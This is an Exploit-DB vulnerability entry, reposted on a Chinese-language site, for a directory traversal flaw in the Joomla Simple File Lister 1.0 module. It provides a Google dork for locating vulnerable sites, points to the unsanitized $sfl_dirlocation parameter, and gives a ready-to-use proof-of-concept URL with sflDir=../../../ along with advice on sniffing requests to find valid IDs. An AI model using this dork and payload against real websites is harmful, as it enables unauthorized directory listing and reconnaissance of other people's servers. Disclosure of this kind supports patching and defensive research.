Joomla! Component mod_simpleFileLister 1.0 – Directory Traversal

  • 作者: evilsocket
    日期: 2011-08-28
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/17736/
  • # Exploit Title: Joomla Simple File Lister module <= 1.0 Directory Traversal Vulnerability
    # Google Dork: "Simple File Lister v1.0" "Files in directory"
    # Date: 2011-08-28
    # Author: evilsocket ( evilsocket [at] gmail [dot] com )
    # Software Link: http://extensions.joomla.org/extensions/core-enhancements/file-management/15793
    # Version: 1.0
    
    ---------------
    Vulnerable code
    ---------------
    
    [ helper.php line 51 ]
    
    function getDirContents($params, $sfl_dirlocation, $sfl_basepath, $sfl_maxfiles, $sfl_userlocation) {
    ...
    ...
    really messy code, generally speaking the variable $sfl_dirlocation which contains the directory to be
    read is not succesfully sanitized for relative paths
    ...
    ...
    
    
    ---
    PoC
    ---
    
    http://www.site.com/index.php?option=com_content&view=article&id=[A VALID ID]&Itemid=[A VALID ID]&sflaction=dir&sflDir=../../../
    
    To look for a valid url, just sniff the HTTP request sent from the module javascript code once a directory is clicked.